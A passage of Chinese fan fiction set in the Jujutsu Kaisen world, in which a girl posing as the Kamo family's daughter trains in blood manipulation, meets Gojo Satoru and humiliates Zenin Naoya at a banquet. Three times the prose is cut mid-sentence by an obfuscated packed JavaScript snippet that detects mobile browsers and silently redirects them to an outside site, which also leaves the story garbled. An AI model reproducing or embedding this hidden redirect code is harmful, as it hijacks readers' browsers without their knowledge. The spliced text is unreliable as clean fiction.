察觉到她的存在,对方转过头,一双蓝色的眼睛在有些昏暗的室内散发着幽幽微光,与身上的蓝色和服相得益彰。 祁响:“……猫?” 4. 第 4 章 祁响的大脑正在飞速运转,尽快判断眼前的局面究竟是怎么一回事。 虽然咒术这种东西听起来非常反科学,但猫咪成精可能性更低,所以眼前这个人不出意外应该也是加茂家的人才对? 难道也是和她一样被雇来当什么继承人的?加茂家是在搞什么选拔继承人的电视节目吗?来之前他们可没说是竞争上岗啊! 小孩:“喵?” 祁响:“……”真的是猫吗! 不对不对,这种情况也是可以用生物学来解释的,毕竟生物上有变态的说法,头发和虹膜的颜色都会产生病理性的改变,嗯,完全可以解释。 要相信科学啊!相信科学! 一旁的清水优子忍不住擦了擦额头的汗,进门之前她完全没有想到五条家的人会在这里,响小姐又完全听不懂日语,要是一不小心暴露了身份的话…… “这位是五条家的次代家主悟君,比你小两岁。”加茂家主看向祁响,看她一脸深沉作思考状的样子,猜到她应该完全听不懂日语,转而对一旁的五条悟开口道:“悟君,这位是响,我一直寄养在外的女儿,拓真的妹妹,今年中学一年级。唉……兄妹两个差了三十岁,完全没有什么共同话题啊,以后说不定要靠悟君和直哉君和她做朋友了。” 五条悟没有接过所谓的朋友话题的意思,只是接着问道:“所以那个任务是给她接的?” “也是时候该让她加强对赤血操术的练习了,悟君怎么说都是五条家的天才,应该不会在意一个任务的事情吧,毕竟御三家居然愿意主动接取任务,哪怕只是为了让你们这样的孩子练手,高层也应该求之不得才对。” “切……” 祁响看着对方起身打算离开,临走前扫了她一眼不说,还莫名其妙切了一声…… 瞅啥瞅?那一眼啥意思啊? 想到这里,祁响挺起胸膛,充分利用身高优势,居高临下地注视着对方从自己身边经过。 姑姑订的牛奶果然没有白喝!一米六的气势绝对不输给任何同龄人! 五条悟:“……”比他大两岁才一米六而已,嚣张什么? 直到五条悟的背影彻底消失,加茂家主才将视线放在祁响身上,开口道:“响君,坐吧。你比我想象中还要成熟,居然真的一个人来了。” 祁响思考,祁响沉默,祁响看向清水优子。 除了名字,她基本上听不懂对方在说什么……都给她用动漫里的语气说话好不好!这样说不定她就能听懂了! 清水优子赶忙帮她翻译家主的话,祁响这才盘腿坐在加茂家主的对面。 清水优子看她这样大大咧咧,急忙尝试打手语让祁响跪坐,然而祁响完全没有注意到她的小动作。 祁响摸了摸脖颈,“应该是更幼稚吧,一个未成年人竟然敢跟着陌生人出国,也不怕是被抓去割腰子卖器官什么的。” “放心,合同上面有着咒力的束缚,一旦束缚结成就会进入因果轮回,违背束缚的人会遭遇严重的后果。” 祁响摸了摸下巴,“真的假的……” 看她一副跃跃欲试的样子,清水优子与加茂家主对视一眼,她这才开口道:“响小姐,请随便挑一人进行束缚,简单的约定就可以。” “束缚?”祁响有些将信将疑,从跟随自己的护卫之中随便挑了一个人出来,随口约定:“现在立刻去外面绕着加茂家跑十圈回来,没问题吧?” “好的,响小姐。” 嘴上这么说,许诺的那人却丝毫没有要移动的意思。 祁响:“……你们是在演小品吗?逗我玩?” 她现在都有点后悔答应来京都的事情了,总觉得这群人越看越不靠谱。 她吐槽的话音刚落,忽然察觉到似乎有什么隐秘的力量在作用,原本站在那里的人忽然七窍流血,一下瘫倒在地上,身体蜷缩成一团,显然十分痛苦。 不仅祁响十分惊讶,一旁的清水优子也同样意外。 按理说祁响的年纪还很小,也没有接受过专业的教导和锻炼,她的咒力应该不会很强才对,但是看刚才同事的反应……好可怕。 祁响目瞪口呆,忍不住伸手去扶对方,随后对旁边的家主和清水优子大声道:“快打急救电话啊!万一死人怎么办,我还没打算坐牢,虽然根本就不是我干的!” 护卫弱弱地开口:“大小姐,我好像还有点活着……” 祁响这才松了一口气,“不早说……真是的,赶紧去找个医生看一下,这种情况一定要挂加急号,快点。” “是……” 祁响迅速回忆了一番合同的内容,里面只是禁止她对外泄露加茂家的机密和术式,对于咒术师的事情却并没有严格要求,大概是因为这种事情无论如何都不可能做到绝对保密,如果这群咒术师做什么都只靠自己,大概早就灭绝了。 而现在祁响对加茂家的事情不算是了如指掌,只能说是一无所知,当然也就不用怕束缚的反噬,不过…… “小说里才有可能出现的情况居然是真的,难道古人诚不欺我……”祁响看向自己的手心,忍不住多了几分好奇:“这个束缚,是不是能力越强、后果越严重呢?” 没想到祁响竟然这么上道,一下子就猜到对了重点。清水优子点了点头,“确实,违背约定的后果虽然是随机的,但力量越强大的人定下的束缚,违背的后果就越严重。” 祁响恍然大悟:“我明白了!这个就是报应啊!” “报……应?” 清水优子向家主解释道:“是指恶行得到恶果,响小姐的家乡常说这种话。” “既然这样,我应该可以暂时相信你们了。”祁响一手托腮,好奇地问道:“刚才那个人在哪里染的头发啊?是为了像你这样仙气飘飘吗?” 清水优子被她的提问呛住,勉强翻译给了家主,又立刻提醒祁响:“响小姐,面对家主要注意用敬语啊。” 祁响理直气壮地说道:“既然是‘父女’,就是要有这种亲密的感觉啊,对吧?” 清水优子:“……响小姐您进入角色也太快了一点。” 祁响:“毕竟我是专业的。” 清水优子:“……” “你为什么会觉得那是染发呢?” 祁响煞有介事地点点头,“那就是生病了啊,要不然是混血。” 加茂家主有些无奈地摇摇头,一时间分不清眼前这孩子到底是粗线条还是在装傻。 “刚才那位就是五条家的次代家主,五条悟,父母货真价实都是亚洲人。” 祁响啊了一声,“富人也会变异?” 清水优子无奈捂脸,“响小姐……” “五条——悟——”祁响试着念了一遍对方的名字,这才问道:“很厉害吗?” “五条家的家传术式是无下限,简单来说,有这个术式在,任何攻击都无法触碰到术式使用者,即便是赤血操术中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518027|203257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最具备攻击性的穿血也无法突破。” 祁响哇哦一声:“这不就是AT立场永久版吗?我怎么感觉他好像也没有很自闭。” “自闭?” 看清水优子一头雾水的样子,祁响有些惊讶:“原来不是所有日本人都会看动画啊,虽然这部我有点看不明白,但战斗设定还是有点了解的,AT立场就是用来防御免疫大部分伤害的护盾,好像是越自闭的人立场越强。” 虽然听不大懂祁响的意思,清水优子还是尽可能解答道:“五条少爷的性格……大概比禅院少也好一点吧,不过还是不要太有期待了。至于术式,倒不是永久的,无下限的使用需要术师本人的精密操作,必然要消耗脑力,而对于人类来说,□□精力是有限的,所以无下限术式很难支撑持续使用。” 祁响摸摸下巴,思考了一会儿开口道:“所以要想赢他必须要靠持久消耗啊,消磨到他没办法使用能力为止。” “差不多是这样,但想要做到这一点没那么容易,无下限术式的基础招式破坏性已经很强了,如果有附加仪式加成,只要被这招打中,一级咒术师也会殒命,想要坚持对抗实在太困难了。” 祁响听不大懂其中的名词,但也能大概猜到,清水的意思是对方的平A就已经是其他人的大招的破坏力,完全可以做到短时间内结束战斗。她摸了摸下巴,道:“这么想的话,赤血操术似乎是最不占便宜的。” 清水优子因为她的结论愣住,下意识地瞥了一眼加茂家主的表情,生怕他会因此生气。 尽管这位家主应该听不懂中文,不过清水优子还是打断道:“响小姐,这样的结论太武断了。” 祁响摊开手,“因为人类的血量是有限的,即使像我这样能够最大化利用最少血液的人,也很难和人形大炮战斗吧。” 不是我方不努力,而是敌人太逆天啊! 作为加茂家的人,清水优子当然也很清楚这一点是加茂家祖传术式的弱点,因此只能保持沉默。 原本一直保持沉默的家主听不到两人的对话,幽幽开口询问,得知祁响刚才的论断,他笑眯眯地开口道:“其实也并非完全没有可能。” “细说。” “响小姐……” 看到清水优子为难的样子,加茂家主也能猜到祁响刚才应该是说了什么“不敬”的话,不过他并不在意,只是微微一笑,道:“赤血操术本就在一定程度上可以控制出血量,不会让咒术师本人出现失血过多的状态,最重要的只要掌握反转术式,那么咒力的储量就可以是血液的储量——当然,目前在实际操作上还没有人能够做到这一点。” 祁响一手托腮,“血条蓝条融为一体啊……” 听起来更工具人了,人形血包这种状态总觉得比人形大炮逊色一点…… “不过——”祁响露出一个笑容:“我喜欢挑战没人做过的事情!” 得到祁响的答案,加茂家主露出一个欣慰的笑容:“不愧是响君,很有活力啊。那么就先从最基本的开始吧。” 祁响期待地看向对方:“是……?” 这下总该是战斗了吧! “该开始学日语了吧。” 祁响:“……” 加茂家主笑眯眯地提醒道:“我可是打算在年底的时候借着响君的生日正式对外介绍我的女儿的存在啊,到时候还是什么都听不懂的话会很麻烦的。” “……距离年底只剩下一个月了啊!” 5. 第 5 章 “语法……好麻烦……” 祁响用笔有一下没一下地敲着额头,盯着桌上放着的学习笔记,恨不得盯出一个洞。 清水优子把橙汁放在桌上,安慰道:“从零开始学习一门语言很难,响小姐也不用太着急。” 祁响趴在桌上,嘟囔道:“不是说好要帮我提升技能的吗?结果已经一个星期了,我居然在学日语……” 作为当初向祁响画大饼的主力军,清水优子只能尽量安抚她的情绪:“啊……咒灵有时候也会说话的,响小姐学一点基本的日语,至少能够听懂咒灵在说什么啊。” 祁响:“……优子姐姐,你这几句话比骂我还要伤人。” 清水优子欸了一声:“有吗……” 其实这几天倒也不是单纯的学习语法,清水优子帮祁响科普了一下咒术师的基本知识,比如咒力与术式的关系、咒力的应用,顺便给祁响的大脑内灌输了一部分咒术界的日语专用名词——诅咒、残秽、封印、祓除之类的,算是“咒术扫盲”。 祁响倒是对应的很快,比如咒力就是内力,术式是技能,虽然清水优子不能理解,但看到祁响能够完美回答她的问题,似乎也没必要去纠正祁响的说法。 桌上放着的闹铃忽然响了起来,祁响立刻合上手中的语法笔记,大声道:“咒力练习时间到!我要开始用功了哦!”说完,她拿起桌上的铃铛,轻轻地晃了晃。 清水优子有些无奈,“响小姐……” 只要不学语言,响小姐做什么事情都是热血沸腾呢……来京都这么久了,响小姐连用日语和她打招呼都不愿意…… 原本在外面守着的侍从在听到铃声后入内,只是这次她的手里却并没有之前训练的器材。 祁响意外地看着对方空空如也的手,“咦,今天不用咒力打靶子吗?” 祁响对于赤血操术的使用充满了想象力,以至于可以操控比传统赤血操术使用者更少的血液来达成目的,可谓是高效与精密的使用方式。 相较之下,祁响对咒力就没有那么了解,更不用提应用咒力了,所以加茂家主特意加强了这方面的训练安排,诸如用咒力来击中目标,过程中还能锻炼祁响用赤血操术强化视力和肌肉。 “从今天起,响小姐就要开始用任务来锻炼自己了。” “任务……?”祁响微微挑眉,道:“这个会额外给钱吗?” 怎么说她也是正经的童工,该要薪水的时候可不能含糊。 清水优子咳嗽一声,随后道:“每个任务会有对应的报酬,不过响小姐再怎么说也是新手咒术师,家主为您准备的都是比较简单的任务,主要用来练手,薪酬自然也就……” 听到薪酬不多,祁响不免有些遗憾地啊了一声。 清水优子的话倒是也很有道理,如果遇上太危险的任务,受伤反而得不偿失……况且蚊子再小也是肉,她不能因为一年能够赚三百万元就因此不把小钱当钱啊! “术式并不是万能的,如果展开领域,之后会进入熔断状态,无法使用术式,那么就要考验最基础的咒力应用。”清水优子生怕她没兴趣,接着强调道:“这可是强者进一步决出胜负的重要手段!” 听到这个,祁响眼前一亮,道:“好!” 小小任务,还不是手到擒来? 祁响站在一幢写字楼前,放下手中的大楼内部地图,脸上流露出困惑的神情,忍不住对清水优子问道:“诅咒不是应该出现在那种阴森黑暗的地方吗?这种热闹的办公楼也会有诅咒出现?” 清水优子先是放下帐,又施加了自己的术式,这才对祁响解释道:“和气氛没关系啦,就是因为办公楼的职员太多,负面情绪泄露,才会形成咒灵。来之前辅助监督已经和负责人商量好了,以大楼内部升级为借口暂时关闭一日。” “刚才那个是放帐的咒语,那优子姐姐你后面用的术式是什么?” 清水优子摸摸脸,有些不好意思地说道:“隐蔽术式,和帐有些类似,可以做到隐藏气息、痕迹一段时间,等到任务结束之后,交给后勤的人去除残秽,就可以保证您的术式使用信息不会轻易外露,算是辅助型的术式,派不上什么用场……如果不是家主大人找到我,我应该也不会成为咒术师……” “原来是这样……” 清水优子看向她,用日语郑重地开口道:“响小姐,接下来的路我不能陪您一起了,您要小心,里面的三级咒灵就全都交给响小姐了。”说完,她递上一把小刀。 对不起,响小姐,这都是家主大人的吩咐…… 看她这么认真,甚至还用了母语,只听了个一知半解的祁响挠了挠头,还是接过那把小刀,走进了办公楼。 这个气氛怎么感觉怪怪的,好像她会一去不复返一样,还特意给了她一把刀……不会是让她输了就切腹自尽什么的吧。 等到进入大楼内部,祁响这才明白清水优子的眼神是何意味。 虽说只是三级咒灵,但这个数量也太可怕了,简直就像是山洞里的蝙蝠、饭店中的老鼠、南方地带的蟑螂,而且在察觉到她入内之后立刻嗡嗡地飞过来了…… 祁响一边向前跑,一边咬破嘴角,躲避着咒灵群的骚扰,迅速使用术式进行攻击,“穿血!穿血!” 现在和诅咒师那次以防御为主的情况不同,嘴角出血量太少,没办法应对这种攻击目标众多且无法细致锁定的场面……难怪给她刀,是为了方便她“大出血”吧!难道是要检测她最多可以释放多少血液? 果然,优子说的那几句日语里面有什么关键信息! 吃了不会日语的亏啊! 祁响决心把自己的白眼留在见到加茂家主的时候,现在的当务之急就是用最少的血液解决问题。 虽说祁响可以重复使用掉落在地的自己的血液,但有距离的限制,按照她目前的冲刺速度,嘴角的这点血肯定不够用…… 祁响切了一声,还是老老实实地拿出了优子给她的小刀,狠下心往掌心一划。 下次她流鼻血的时候一定要把血液冷鲜保存,就像牛奶一样! “穿血!” 清水优子站在写字楼门口,有些担忧地向门内张望。 也不知道里面的情况怎么样了…… 过了一会儿,祁响拖着脚步走出来,嫌弃地嘟囔道:“我现在就要见我的便宜爹……” 清水优子急忙上前,捧起祁响的手小心翼翼地打量。 伤口出乎意料的浅,这么少的出血量真的能够解决那么多咒灵吗…… “优子姐姐,你那是什么表情啊!”祁响不满地强调道:“伤口浅是好事吧,怎么好像我应该多流点血的样子!” 清水优子回过神,赶紧道歉:“我不是这个意思,只是在想响小姐好像真的是咒术师中的天才,可以用这么少的血来发挥穿血的实力……” “这还差不多。”祁响说到一半,忽然意识到什么,道:“我们现在应该赶紧去医院吧,万一感染破伤风什么的呢……” “啊,这个没关系。”清水优子把手虚掩在祁响的伤口上,大概过了一分钟左右,那道浅浅的伤口已经消失不见。 祁响咦了一声,“这个是……那个那个……”她从脑子里抠了半天名词,终于一锤定音,用日语回答道:“反转术式!对吧?” “是……只不过我的反转术式效率很低,即使是响小姐这样轻微的伤口也需要很长的时间恢复,如果是高效率的反转术式使用者的话,大概只要眨眼的功夫就可以完成治疗了。” 祁响由衷感慨道:“完全就是对科学的违背啊--” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518028|203257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “也不能这么说,咒术也是有理论依据的。”清水优子说着说着忽然意识到什么,惊讶地说道:“等一下……响小姐你刚才是说日语了吗!说反转术式的时候!” 祁响扯扯嘴角,还是忍不住叹了一口气,“没错,之后我不仅会好好背词语,还会认真练习口语,所以让那个便宜老爹不要阴我了!” 怎么想优子姐姐都不是那种会故意隐瞒她的人,算来算去大概也就只有加茂家那个臭老头会这么做了…… “抱歉……”清水优子解除帐和术式,这才发觉外面不知道什么时候下起了雪。 祁响搓了搓手,道:“今天是大雪了啊……我想吃火锅,姑姑给我带了好几块底料,加茂家应该有牛肉蔬菜之类的食材吧,今晚我们一起吃吧。” “欸……?好!” 回到加茂家,祁响没有受到任何阻拦,径直走向家主的院落,她一把拉开障子门,伴着门框被大力撞击的声音,祁响开口道:“下次要测试我的能力就直接说,不要随便隐藏任务信息,我要是死了做鬼都不会放过你的!” 回应祁响的却并不是加茂家主,而是一旁的的中年男性:“叽叽喳喳喊什么喊,一点规矩都没有,亏父亲大人特意从五条家手里抢走任务给你练手。” 祁响这才将目光放在旁边的人身上,对方约莫三十多岁,长相和加茂家主有相似之处,一样留着看似儒雅的长发,长相还算是可圈可点,只是他上下打量的目光已经透露出他对祁响的不屑。 祁响决定用尽自己一周学习日语的丰富成果来回应他:“你谁?” “你——” 看出两人之间并不和睦的氛围,加茂家主悠哉游哉地开口道:“加茂拓真,你的长兄,我最优秀的儿子。” 祁响拉长声音:“哥——哥——” 加茂拓真的脸色缓和了不少,这才开口道:“父亲愿意带你回加茂家,你应该感恩戴德才对。今天我去五条家给他们家那个臭小子庆生的时候,可没少被五条家的人阴阳怪气,禅院家的小屁孩还在旁边落井下石--真是的,累死了,之后你可别忘了去五条家道歉。” 清水优子凑近祁响耳边,低声翻译了一遍,祁响双手环胸,道:“不要。” 既然加茂家主能够把任务拿到手,说明五条家也没打算坚持,大概也考虑到他们都是“名门正派”,不愿意撕破脸。 既然两家在这件事上没有高下之分,她为什么要低声下气去道歉? 加茂拓真正要发作,加茂家主接着笑道:“加茂响,你的小妹,我最优秀的女儿。今年年底的御三家会面,我会带响君去,拓真,你就好好休息吧。” 加茂拓真有些焦急地喊道:“父亲……!” 只是加茂家主似乎并没有回应的打算,只是起身走向屋外:“这样的雪天,就该喝杯酒暖暖身体啊。” 祁响见状跟在加茂家主身后,还不忘回头冲着加茂拓真做了个鬼脸。 活该,多嘴的家伙——也被老头子阴了吧—— “可恶……” 加茂家主察觉到祁响的小动作,不由哑然失笑:“响君,参加会面可是必须得会说日语哦。” 听完翻译,祁响撇撇嘴,“我知道啦,要赶紧学会日语,否则会被狡猾的男人骗。” 加茂家主低声笑了起来,随后问道:“说起来,响君知道会面的时候应该做什么吗?” “做什么?”祁响歪了歪头,掰着手指举例:“高冷一点,展示自己作为继承人的体面,不要被其他两家看出我的真实身份,树立咒术师高手的完美形象,还有像刚才那个人说的,接受五条家和禅院加的阴阳怪气……?” “嗯……差不多吧。” 祁响:“……”这老头嘴里的话有一句能信的吗?她很怀疑…… 6. 第 6 章 祁响站在宴会厅内,看着人声鼎沸的人群,忍不住低声吐槽道:“这不就是我姑姑她们公司会有的年会吗?一群人闲得无聊聚在一起吃吃喝喝聊八卦什么的……” 亏优子姐姐还特意给她挑了好久的服装,还特意做了造型,完全是浪费时间啊喂! 之前看加茂拓真一副要急哭的样子,祁响还以为会是电视剧里面演的大朝会之类的场面呢,比如各门各派带着自己得意的大弟子来露脸,展示一下门派硬实力设什么的。 结果居然是小学元旦联欢会的豪华版……不对,元旦联欢会至少还有节目可以看,这种宴席完全没有任何意义!加茂老头甚至一进门就像交际草一样,和别人一起消失得无影无踪…… 清水优子一边帮她将垂在耳边的流苏理顺,一边宽慰道:“毕竟是新年前的最后一次聚会,又不是咒术界的会议,没必要那么严肃,现在大家的关系也不像以前那样水火不容,也需要一个放松的场合啊。” 因为这是祁响第一次在御三家众人面前露面,清水优子特意给她打扮了一番,让祁响差点梦回小学时的儿童汇演。 加茂家提前为祁响定制了一套赤红色振袖和服,用金线绣着成片的大乱菊,配上暗红袋带和银色缔带,清水优子又为祁响挽起头发,佩戴了一对花簪,这样的一套打扮倒是让祁响完美融入了加茂家,甚至颇为惹眼。 虽说咒术师以天赋为重,但女性咒术师仍然处于劣势,想要在御三家中找到一个有一定地位的女性咒术师,实在不是一件容易的事情,所以才显得祁响格外明显,尤其是今年加茂家的家主没有带长子拓真出席,而是带了祁响这个突然出现的女儿,让人不得不猜测祁响是否有什么特别之处。 祁响当然能察觉到周围的人时不时扫过来的目光,不过这些对她来说都不重要,她转身走向一旁摆满食物的长桌,举起手中的筷子,决定把自己的精力全都用在吃东西上。 祁响迅速将天妇罗放进清水优子的盘子里,叮嘱道:“优子姐姐,你也快点去吃,绝对不能白白浪费时间和食物。” 今天可是她的生日,来都来了,就当是庆生的自助餐好了,总要吃回本吧! 清水优子低头看着被装得满满当当的盘子,连连点头:“好……” 祁响夹起甜虾尝了一口,满意地点点头,正要再尝尝盐烤青花鱼,背后忽然传来一个声音: “喂,你就是加茂家那个捡回来的私生女?” 祁响有些茫然地回过头看向对方,脸颊一侧垂着的金色流苏随着她的的动作轻轻摇晃。 大家不都是来混吃混喝的吗,怎么还有人来搭讪?不过这个语气…… 如果是在家里,祁响绝对会在听出对方话里的不客气时立刻进行反击。 但现在是在异国他乡的日本,身边都是不够熟悉亲近的人,最重要的是--祁响对日语的掌握程度还没到可以无障碍沟通的地步,祁响也没打算因为一点小事就让不远处吃得正香的清水优子跑回来。 祁响转过身,看向为首的那个小屁孩,年龄和上次见过的五条悟相仿,穿着有点像是动画里看到过的巫女,应该是御三家的传统服饰。 他的身边还跟着好几个同龄人,乍一看像是会拦路抢劫的小混混,只不过个子太矮,完全不会给人压迫感,还有一两个更像是被他胁迫来的。 祁响大概能听懂点“你”、“加茂家”之类的词语,虽说看对方的态度不是很好,但现在不是在加茂家的地盘上,多一事不如少一事,随便点头微笑一下敷衍过去好了…… 想到这里,祁响冲着对面的小屁孩扯了扯嘴角,露出一个笑容,很快就把注意力放在了食物上,转身跑到另一桌饭菜前开始研究。 老话好像说过吃红补红,她最近因为练习术式的缘故出了不少血,必须得抓紧时间好好补补才行,谁知道加茂老头什么时候会派她去做任务,她可不想因为贫血晕倒…… 只是这个笑容在对面的禅院直哉看来就没有那么简单了,作为禅院家的次代家主,禅院直哉还从未被这样轻慢过,甚至是被一个女性这样“无视”。 听说这个加茂响不过是个私生女,怎么有资格替她那个没出息的长兄站在与他禅院直哉、甚至是五条悟同一水平的地方?加茂家的家主真是老糊涂…… 禅院直哉看向一旁的同龄人护卫,道:“喂,你去教训一下她!” “直哉少爷,怎么说也是加茂家的小姐,还是算了……” 禅院直哉不爽地开口道:“我是在帮加茂家家主认清现实,这种货色可没资格和我们站在一起,没有任何实力,就算打扮得再怎么花枝招展的也一样是废物,兴许去歌舞伎他还有点发展空间。加茂家还是趁早把加茂拓真换回来好了,至少那家伙奚落起来更有意思。” 护卫有些犹豫地看向祁响的背影,穿着礼服的女生虽然身材高挑,但是看起来似乎没什么威胁性,身边也没有跟着其他家仆…… 最重要的是如果他不去做的话,直哉少爷不知道会怎么折磨他。 他磨磨蹭蹭地上前,正踟蹰该如何行动,祁响已经回过头看向他,做出一个暂停的手势,随后喊道:“优子——” 原本在品尝冰淇淋的清水优子立刻应了一声,快步上前,温和地开口问道:“你找响小姐是有什么事吗?小姐她是个矜持的人,一切由我来转达。” 护卫心一横,把刚才禅院直哉说过的话复述了一遍,立即跑到了几米外的地方,显然是怕被波及。 出人意料,对面的响小姐面色不变,似乎多了几分好奇,反而是清水优子愣在原地,脸颊涨得通红,比当事人还要屈辱的模样。 祁响拉着清水优子凑近自己的耳边,听她委婉地复述了一遍禅院直哉的羞辱,瞟了一眼不远处洋洋得意的禅院直哉,忍不住吐槽道:“我这是被霸凌了对吧?” 清水优子有些忐忑地开口道:“我……我去讲道理的话,那位直哉少爷恐怕只会继续找茬,不如我去找家主,让他申斥禅院家……” 祁响摆摆手,“这种熊孩子明显是被家里宠坏了,就算你去找他的家长,他的家长也只会哈哈大笑,说‘都是孩子之间的小打小闹,不能当真’之类的话,所以还是我来吧。” 清水优子愣在原地,看到祁响正在撸袖子,赶紧问道:“响小姐要做什么?” 祁响忽然想到什么,露出一个从容的微笑:“小孩子之间的事情,大人不要插手。”她开口问道:“对了,优子,这句话是不是这样说的——” 禅院直哉看着祁响与清水优子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518029|203257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窃窃私语的模样,嗤笑一声:“真是没用,换成是加茂拓真,至少也会还口,结果这女人居然把羞辱自己的人放走了。” 他正说话,祁响已经转身走向他,完全看不出一丝一毫生气的意味,她的嘴角甚至多了一分笑意。 祁响居高临下地看着他,问道:“你是叫直哉,对吧?” 禅院直哉微微挑眉,双手环胸,仍旧面露高傲。“把身体压低,我可是禅院家的未来家主,要叫直哉少爷。” 确认目标,祁响了然地点点头:“我明白了。” 看她渐渐俯身,伸手整理和服的衣摆,禅院直哉嗤笑一声,只觉得原本闷热无趣的宴会厅忽然变得凉爽轻松不少。 整理好衣服的祁响毫不客气地一把扯下对方的袴,随后撩了撩颊边的流苏,“呀,好凉快——” 禅院直哉这才意识到发生了什么,几乎是下意识地发出爆鸣声,不远处的大人们被声音所吸引,纷纷将目光投了过来。 祁响却没有打算给禅院直哉反应的机会,拳头下一秒就落在了他的脸上。 正好之前清水优子讲过运用咒力增强体术威力的知识,送上门的机会很难拒绝啊! 如果只是双方互殴,禅院直哉绝不会处于劣势,问题在于裤带断裂,导致他根本没办法抽出手反击。 对于一个咒术师而言,同时做到守护裤子和保护自己还是太难了。 清水优子怎么都没想到祁响的反击方式竟然会是这样,一时间不知道是该劝祁响停手,还是该去找人拦架,只能在旁边手忙脚乱地喊停。 禅院直哉身边的同龄人们则是呆在原地,从未想过趾高气扬的天才直哉少爷也会有被按在地上摩擦的一天。 祁响甩了甩打得发麻的拳头,笑眯眯地说道:“裤子都守护不好,直哉你还能守护什么?” 谁让这个小屁孩狂妄自大,对付这种家伙就要一边攻击他的面子,一边攻击他的颧骨! “可恶……” 祁响察觉到对方似乎有使用术式反击的准备,立刻起身后退几步,使用赤血操术拉起血幕进行防御。 满脸鼻血的禅院直哉正要准备反击,不远处忽然传来一个熟悉的声音:“你们在做什么?” 两人一起回过头,说话的人正是五条悟,他肩上还披着绣有家纹的白色羽织,应该是刚刚抵达宴会厅。 祁响指着身后的禅院直哉,理直气壮地强调道:“直哉想要霸凌我。”她回过头,原本应该在地上柔弱无助的禅院直哉已经站了起来,提着裤子佯装无事发生。 “什么都没有发生。” 祁响:“……?”脸上的血还没擦干净就开始说胡话了? 五条悟微微探身,越过祁响看向她身后的禅院直哉,目睹他的惨状之后,五条悟在一片寂静之中笑出了声: “直哉,你现在还挺好笑的。” 光是看到禅院直哉断裂的衣带上的残存咒力,五条悟就能判断出事情的大致经过。 赤血操术本来就是可近可远、可粗犷可精细的术式,明显是祁响用赤血操术对禅院直哉的衣服动了手脚。 禅院直哉:“……” 祁响啧啧几声,不由感慨起来。 什么叫做恶语伤人六月寒啊……